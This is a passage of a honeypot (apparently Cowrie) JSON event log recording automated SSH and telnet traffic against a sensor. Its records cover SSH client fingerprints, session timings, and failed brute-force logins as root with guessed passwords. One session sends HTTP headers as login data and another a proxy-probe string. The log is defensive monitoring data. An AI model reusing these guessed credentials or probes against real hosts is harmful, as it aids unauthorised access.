{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:23:10.890153Z","src_ip":"20.12.41.6","session":"8fcf6e77b534","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:23:10.904770Z","src_ip":"20.12.41.6","session":"8fcf6e77b534","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"sanmateo","message":"login attempt [root/sanmateo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:23:10.996660Z","src_ip":"20.12.41.6","session":"8fcf6e77b534","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:23:11.037549Z","src_ip":"47.86.95.62","session":"bcddc3b9d85b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:23:12.014910Z","src_ip":"20.12.41.6","session":"8fcf6e77b534","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":18.246946334838867,"message":"Connection lost after 18 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:23:13.617506Z","src_ip":"118.194.234.14","session":"5af6f40224d0","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:23:13.708377Z","src_ip":"47.86.95.62","session":"bcddc3b9d85b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"118.194.234.14","src_port":55888,"dst_ip":"10.17.0.5","dst_port":23,"session":"6c478fdc5b33","protocol":"telnet","message":"New connection: 118.194.234.14:55888 (10.17.0.5:23) [session: 6c478fdc5b33]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:23:13.846128Z"}
{"eventid":"cowrie.login.failed","username":"GET / HTTP/1.1","password":"Host: 134.199.244.163:23","message":"login attempt [GET / HTTP/1.1/Host: 134.199.244.163:23] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:23:13.855281Z","src_ip":"118.194.234.14","session":"6c478fdc5b33","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6","password":"User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Edg/120.0.0.0","message":"login attempt [Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6/User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Edg/120.0.0.0] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:23:13.859276Z","src_ip":"118.194.234.14","session":"6c478fdc5b33","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":18.242666482925415,"message":"Connection lost after 18 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:23:32.088681Z","src_ip":"118.194.234.14","session":"6c478fdc5b33","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"118.194.234.14","src_port":52684,"dst_ip":"10.17.0.5","dst_port":23,"session":"440f89522c86","protocol":"telnet","message":"New connection: 118.194.234.14:52684 (10.17.0.5:23) [session: 440f89522c86]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:23:32.311222Z"}
{"eventid":"cowrie.login.failed","username":"b'\\x05\\x04\\x00\\x01\\x02\\x80\\x05\\x01\\x00\\x03'","password":"github.com\u0000PGET / HTTP/1.0","message":"login attempt [b'\\x05\\x04\\x00\\x01\\x02\\x80\\x05\\x01\\x00\\x03'/github.com\u0000PGET / HTTP/1.0] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:23:32.316783Z","src_ip":"118.194.234.14","session":"440f89522c86","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":18.232167959213257,"message":"Connection lost after 18 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:23:50.543288Z","src_ip":"118.194.234.14","session":"440f89522c86","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"118.194.234.14","src_port":50828,"dst_ip":"10.17.0.5","dst_port":23,"session":"6941af8309d7","protocol":"telnet","message":"New connection: 118.194.234.14:50828 (10.17.0.5:23) [session: 6941af8309d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:23:50.768509Z"}
{"eventid":"cowrie.session.connect","src_ip":"61.222.211.114","src_port":52198,"dst_ip":"159.203.135.109","dst_port":22,"session":"c06db9688467","protocol":"ssh","message":"New connection: 61.222.211.114:52198 (159.203.135.109:22) [session: c06db9688467]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:23:50.811241Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:23:50.816874Z","src_ip":"61.222.211.114","session":"c06db9688467","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:23:51.021577Z","src_ip":"61.222.211.114","session":"c06db9688467","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"skilled","message":"login attempt [root/skilled] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:23:51.873309Z","src_ip":"61.222.211.114","session":"c06db9688467","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:23:53.080554Z","src_ip":"61.222.211.114","session":"c06db9688467","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":33326,"dst_ip":"10.17.0.5","dst_port":22,"session":"ccd0da218b54","protocol":"ssh","message":"New connection: 47.86.95.62:33326 (10.17.0.5:22) [session: ccd0da218b54]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:23:58.352999Z"}
{"eventid":"cowrie.session.connect","src_ip":"118.26.36.248","src_port":65200,"dst_ip":"159.203.135.109","dst_port":22,"session":"a8c6d36596a4","protocol":"ssh","message":"New connection: 118.26.36.248:65200 (159.203.135.109:22) [session: a8c6d36596a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:24:01.214416Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:24:01.219879Z","src_ip":"118.26.36.248","session":"a8c6d36596a4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:24:01.439540Z","src_ip":"118.26.36.248","session":"a8c6d36596a4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.59.89.180","src_port":35110,"dst_ip":"159.203.135.109","dst_port":22,"session":"7139242bac43","protocol":"ssh","message":"New connection: 31.59.89.180:35110 (159.203.135.109:22) [session: 7139242bac43]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:24:01.830071Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:24:01.835549Z","src_ip":"31.59.89.180","session":"7139242bac43","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:24:01.949239Z","src_ip":"31.59.89.180","session":"7139242bac43","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"foxythekid","message":"login attempt [root/foxythekid] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:24:02.348517Z","src_ip":"118.26.36.248","session":"a8c6d36596a4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"library123","message":"login attempt [root/library123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:24:02.428107Z","src_ip":"31.59.89.180","session":"7139242bac43","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:24:03.542438Z","src_ip":"31.59.89.180","session":"7139242bac43","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:24:03.574920Z","src_ip":"118.26.36.248","session":"a8c6d36596a4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":18.232879638671875,"message":"Connection lost after 18 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:24:09.001307Z","src_ip":"118.194.234.14","session":"6941af8309d7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"118.194.234.14","src_port":52702,"dst_ip":"10.17.0.5","dst_port":23,"session":"6c011218303e","protocol":"telnet","message":"New connection: 118.194.234.14:52702 (10.17.0.5:23) [session: 6c011218303e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:24:09.222847Z"}
{"eventid":"cowrie.session.closed","duration":18.22701334953308,"message":"Connection lost after 18 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:24:27.449742Z","src_ip":"118.194.234.14","session":"6c011218303e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"118.194.234.14","src_port":60892,"dst_ip":"10.17.0.5","dst_port":23,"session":"24df369cd44d","protocol":"telnet","message":"New connection: 118.194.234.14:60892 (10.17.0.5:23) [session: 24df369cd44d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:24:27.671415Z"}
{"eventid":"cowrie.session.connect","src_ip":"20.12.41.6","src_port":36052,"dst_ip":"10.17.0.5","dst_port":22,"session":"9532a4f3ef01","protocol":"ssh","message":"New connection: 20.12.41.6:36052 (10.17.0.5:22) [session: 9532a4f3ef01]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:24:31.588507Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:24:31.593522Z","src_ip":"20.12.41.6","session":"9532a4f3ef01","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:24:31.610587Z","src_ip":"20.12.41.6","session":"9532a4f3ef01","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"blablabla","message":"login attempt [root/blablabla] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:24:31.700872Z","src_ip":"20.12.41.6","session":"9532a4f3ef01","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:24:32.718636Z","src_ip":"20.12.41.6","session":"9532a4f3ef01","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":18.227901458740234,"message":"Connection lost after 18 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:24:45.899154Z","src_ip":"118.194.234.14","session":"24df369cd44d","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:24:56.501692Z","src_ip":"47.86.95.62","session":"ccd0da218b54","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:24:56.505658Z","src_ip":"47.86.95.62","session":"ccd0da218b54","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:25:10.196826Z","src_ip":"47.86.95.62","session":"bcddc3b9d85b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.59.89.180","src_port":51380,"dst_ip":"159.203.135.109","dst_port":22,"session":"6ddc0fdc5ffd","protocol":"ssh","message":"New connection: 31.59.89.180:51380 (159.203.135.109:22) [session: 6ddc0fdc5ffd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:25:17.574580Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:25:17.579910Z","src_ip":"31.59.89.180","session":"6ddc0fdc5ffd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hell